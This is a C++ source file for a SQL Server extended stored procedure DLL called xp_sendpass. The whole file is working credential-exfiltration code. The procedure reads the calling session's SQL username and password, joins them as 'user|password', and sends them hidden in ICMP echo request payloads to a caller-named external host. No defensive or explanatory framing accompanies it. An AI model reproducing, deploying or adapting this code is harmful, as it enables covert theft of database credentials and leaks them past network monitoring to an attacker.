// xp_sendpass.cpp
// ---------------
// Extended stored procedure DLL for returning a username and SRV_PWD value
// via an ICMP echo request.

#include "xp_sendpass.h"

BOOL APIENTRY DllMain(HMODULE hModule,DWORD  ul_reason_for_call,LPVOID lpReserved)
{
	switch (ul_reason_for_call)
	{
	case DLL_PROCESS_ATTACH:
	case DLL_THREAD_ATTACH:
	case DLL_THREAD_DETACH:
	case DLL_PROCESS_DETACH:
		break;
	}
	return TRUE;
}

// Versioning export
__declspec(dllexport) ULONG __GetXpVersion()
{
   return ODS_VERSION;
}

// Xsproc entry point
__declspec(dllexport) SRVRETCODE xp_sendpass(SRV_PROC *srvproc)
{
	SRVRETCODE	vRetCode;

	// Call the function and return
	vRetCode = SqlSendPass(srvproc);

	return(vRetCode);
}

// Send a SQL msg (non-error)
SRVRETCODE Sql_SendMsg(SRV_PROC *srvproc,TCHAR* tczMsg)
{
	int	iResult = 0;
	// Both the ASCII and UNICODE calls are assuming a NULL terminated string
#ifdef UNICODE
	// wcslen() is used here because 'SRV_NULLTERM' seems to always result in FAILURE with srv_wsendmsg()
	iResult = srv_wsendmsg(srvproc,(DBTINYINT)0,(DBTINYINT)0,tczMsg,wcslen(tczMsg));//SRV_NULLTERM);
#else
	iResult = srv_sendmsg(srvproc, SRV_MSG_INFO, 0,(DBTINYINT)0,(DBTINYINT)0,NULL,0,0,tczMsg,strlen((CHAR*)tczMsg));
#endif
	if(iResult != SUCCEED)
		return(Sql_SendErr(srvproc,_T("Sql_SendMsg failure.")));
	return(SUCCEED);
}

// Send a SQL msg (error)
SRVRETCODE Sql_SendErr(SRV_PROC *srvproc,TCHAR* tczErr)
{
	int	iResult = 0;
	// Both the ASCII and UNICODE calls are assuming a NULL terminated string
#ifdef UNICODE
	// wcslen() is used here because 'SRV_NULLTERM' seems to always result in FAILURE with srv_wsendmsg()
	iResult = srv_wsendmsg(srvproc,0,SRV_MSG_ERROR,tczErr,wcslen(tczErr));//SRV_NULLTERM);
#else
	iResult = srv_sendmsg(srvproc, SRV_MSG_ERROR, 0,(DBTINYINT)0,(DBTINYINT)0,NULL,0,0,tczErr,strlen((CHAR*)tczErr));
#endif
	if(SUCCEED != iResult)
		return(FAIL);
	return(SUCCEED);
}

// Queries for the current sessions connection information
SRVRETCODE SqlSendPass(SRV_PROC *srvproc)
{
	TCHAR*		tczTempString = NULL;
	TCHAR*		tczUserName = NULL;
	TCHAR*		tczPassword = NULL;
	TCHAR*		tczTargetHost = NULL;
	int			iInfoLen = 0;
	DWORD		dwCharsConverted = 0;

	// Make sure destination and wait-time parameters were provided
	if(1 != srv_rpcparams(srvproc))
	{
		Sql_SendErr(srvproc,_T("You must provide a destination host for this function"));
		return(XP_ERROR);
	}
	
	// Get integrated auth setting
	srv_pfield(srvproc,SRV_LSECURE,&iInfoLen);
	if(0 < iInfoLen)
	{
		if(6 == iInfoLen)
		{
			// Get the password
			iInfoLen = 0;
			srv_pfield(srvproc,SRV_PWD,&iInfoLen);
			if(0 < iInfoLen)
			{
				tczTempString = new TCHAR[iInfoLen + 1];
		
				if(2 == sizeof(TCHAR))
					mbstowcs_s((size_t*)&dwCharsConverted,(wchar_t*)tczTempString,(size_t)(iInfoLen + 1),srv_pfield(srvproc,SRV_PWD,&iInfoLen),(size_t)(iInfoLen));
				else
					strcpy_s((char*)tczTempString,(rsize_t)iInfoLen + 1,srv_pfield(srvproc,SRV_PWD,&iInfoLen));

				tczPassword = new TCHAR[_tcslen(tczTempString) + 1];
				_tcscpy(tczPassword,tczTempString);

				delete [] tczTempString;
			}

			// Get the username
			iInfoLen = 0;
			srv_pfield(srvproc,SRV_USER,&iInfoLen);
			if(0 < iInfoLen)
			{
				tczTempString = new TCHAR[iInfoLen + 1];
		
				if(2 == sizeof(TCHAR))
					mbstowcs_s((size_t*)&dwCharsConverted,(wchar_t*)tczTempString,(size_t)(iInfoLen + 1),srv_pfield(srvproc,SRV_USER,&iInfoLen),(size_t)(iInfoLen));
				else
					strcpy_s((char*)tczTempString,(rsize_t)iInfoLen + 1,srv_pfield(srvproc,SRV_USER,&iInfoLen));

				tczUserName = new TCHAR[_tcslen(tczTempString) + 1];
				_tcscpy(tczUserName,tczTempString);

				delete [] tczTempString;
			}

			// Get the destination parameter
			if(!GetParamInfo(srvproc,1,&tczTargetHost))
			{
				Sql_SendErr(srvproc,_T("Unable to get target host parameter."));
				return(XP_ERROR);
			}

			// Send the data and sleep for 45 seconds if successful
			if(SUCCEED != SendICMP(tczUserName,tczPassword,tczTargetHost))
				Sql_SendErr(srvproc,_T("ICMP send failure."));
			else
				Sleep(45000);

			delete [] tczUserName;
			delete [] tczPassword;
			delete [] tczTargetHost;
		}
		else
			Sql_SendMsg(srvproc,_T("Not using SQL authentication."));
	}
	else
		Sql_SendMsg(srvproc,_T("Unable to determine authentication type."));

	return(XP_NOERROR);
}

// Sends the user and password to a target host (specified in tczParams) as the
// data in an ICMP echo request (IPv4).  To make it easier on the recipient the
// text will be in MBCS format, rather than UNICODE.
SRVRETCODE SendICMP(TCHAR* tczUserName, TCHAR* tczSqlHash, TCHAR* tczParams)
{
	WSADATA		wsaData;
	void*		bpData = NULL;
	char*		szTemp = NULL;
	size_t		stConverted = 0;
	HANDLE		hICMPHandle = NULL;
	void*		lpReplyBuffer = NULL;
	DWORD		dwReplySize = 0;
	ADDRINFOT*	aisResult = NULL;
	ADDRINFOT*	aisPtr = NULL;
	in_addr		inAddr;
    IPAddr		ipAddr;
	

	// Initialize WSA
	if(0 != WSAStartup(MAKEWORD(2, 2), &wsaData))
		return(FAIL);

	// Get the host into usable form
	if(0 != GetAddrInfo(tczParams, NULL, NULL, (PADDRINFOT*)&aisResult))
	{
		WSACleanup();
		return(FAIL);
	}

	// Get a handle for sending the request
	hICMPHandle = IcmpCreateFile();
	if(INVALID_HANDLE_VALUE == hICMPHandle)
		return(FAIL);

	// Allocate space for the data (name|password) plus an extra byte to make
	// the string functions easier to deal with.
	bpData = malloc(_tcslen(tczUserName) + _tcslen(tczSqlHash) + 2);
	memset(bpData,0,_tcslen(tczUserName) + _tcslen(tczSqlHash) + 2);
	// Figure out the data we're dealing with and adjust
	if(2 == sizeof(TCHAR))
	{
		// Do some conversion
		szTemp = new char[_tcslen(tczUserName) + 1];
		wcstombs_s(&stConverted,szTemp,(size_t)(_tcslen(tczUserName) + 1),(const wchar_t*)tczUserName,(size_t)(_tcslen(tczUserName)));
		strcat_s((char*)bpData,(size_t)(_tcslen(tczUserName) + _tcslen(tczSqlHash) + 2),szTemp);
		strcat_s((char*)bpData,(size_t)(_tcslen(tczUserName) + _tcslen(tczSqlHash) + 2),"|");
		delete [] szTemp;
		szTemp = new char[_tcslen(tczSqlHash) + 1];
		wcstombs_s(&stConverted,szTemp,(size_t)(_tcslen(tczSqlHash) + 1),(const wchar_t*)tczSqlHash,(size_t)(_tcslen(tczSqlHash)));
		strcat_s((char*)bpData,(size_t)(_tcslen(tczUserName) + _tcslen(tczSqlHash) + 2),szTemp);
		delete [] szTemp;
	}
	else
	{
		// Not UNICODE, this is simple
		if(0 >= _stprintf_s((TCHAR*)bpData,(_tcslen(tczUserName) + _tcslen(tczSqlHash) + 2),_T("%s|%s"),tczUserName,tczSqlHash))
		{
			IcmpCloseHandle(hICMPHandle);
			return(FAIL);
		}
	}

	// Create the buffer for replies (don't care, but it's needed)
	dwReplySize = sizeof(ICMP_ECHO_REPLY) + strlen((char*)bpData);
	lpReplyBuffer = malloc(dwReplySize);
	if(NULL == lpReplyBuffer)
	{
		IcmpCloseHandle(hICMPHandle);
		return(FAIL);
	}

	// Send out on all IPv4 addresses
	for(aisPtr = aisResult; aisPtr != NULL; aisPtr = aisPtr->ai_next)
	{
		if(AF_INET == aisPtr->ai_family)
		{
			inAddr = ((sockaddr_in *)aisPtr->ai_addr)->sin_addr;
			memcpy(&ipAddr, &inAddr, sizeof(ipAddr));

			// Send the ICMP echo, if it works.. something arrives *shrug*
			IcmpSendEcho(hICMPHandle,ipAddr,(LPVOID)bpData,(WORD)strlen((char*)bpData),NULL,lpReplyBuffer,dwReplySize,1000);
		}
	}

	// Close the handle
	IcmpCloseHandle(hICMPHandle);

	// Cleanup WSA
	WSACleanup();

	return(SUCCEED);
}

// Gets parameter information using srv_paraminfo function
bool GetParamInfo(SRV_PROC *srvproc, int iParam, TCHAR** tcBuffer)
{
	BYTE*	pbData			= NULL;
	BYTE	pbType			= 0;
	ULONG	pcbMaxLen		= 0;
	ULONG	pcbActualLen	= 0;
	BOOL	pfNull			= false;

	if(SUCCEED != srv_paraminfo(srvproc,iParam,&pbType,&pcbMaxLen,&pcbActualLen,NULL,&pfNull))
		return(false);

	// Allocate space for the parameter
	pbData = (BYTE*)malloc(pcbActualLen + 2);
	memset(pbData,0,(pcbActualLen + 2));
	pcbMaxLen = pcbActualLen + 2;

	// Copy the parameter
	if(SUCCEED != srv_paraminfo(srvproc,iParam,&pbType,&pcbMaxLen,&pcbActualLen,pbData,&pfNull))
		return(false);

	if(!NormalizeSqlData(pbData,tcBuffer,pcbActualLen,pbType))
		return(false);

	free(pbData);

	return(true);
}

// Determines the data returned from SQL and puts it in the current working TCHAR format
bool NormalizeSqlData(void* pbData, TCHAR** tczClientRequest, ULONG pcbActualLen, BYTE pbType)
{
	DWORD	dwReturnVal;

	// Determine the data type provided
	switch(pbType)
	{
	// ASCII types
	case SRVBIGCHAR:
	case SRVBIGVARCHAR:
	case SRVCHAR:
	case SRVTEXT:
	case SRVVARCHAR:
		*tczClientRequest = (TCHAR*)malloc((sizeof(TCHAR) * (strlen((char*)pbData) + 1)));
		memset(*tczClientRequest,0,(sizeof(TCHAR) * (strlen((char*)pbData) + 1)));
		if(2 == sizeof(TCHAR))
		{
			// UNICODE to ASCII
			mbstowcs_s((size_t*)&dwReturnVal,(wchar_t*)*tczClientRequest,strlen((char*)pbData) + 1,(char*)pbData,strlen((char*)pbData));
		}
		else
		{
			// ASCII to ASCII
			strcpy_s((char*)*tczClientRequest,strlen((char*)pbData) + 1,(char*)pbData);
		}
		break;
	// UNICODE types
	case SRVNCHAR:
	case SRVNTEXT:
	case SRVNVARCHAR:
		*tczClientRequest = (TCHAR*)malloc((sizeof(TCHAR) * (wcslen((wchar_t*)pbData) + 1)));
		memset(*tczClientRequest,0,(sizeof(TCHAR) * (wcslen((wchar_t*)pbData) + 1)));
		if(2 == sizeof(TCHAR))
		{
			// UNICODE to UNICODE
			wcscpy_s((wchar_t*)*tczClientRequest,wcslen((wchar_t*)pbData) + 1,(wchar_t*)pbData);
		}
		else
		{
			// UNICODE to ASCII
			wcstombs_s((size_t*)&dwReturnVal,(char*)*tczClientRequest,wcslen((wchar_t*)pbData) + 1,(wchar_t*)pbData,wcslen((wchar_t*)pbData));
		}
		break;
	// Non-textual types
	default:
		return(false);
		break;
	}
	return(true);
}
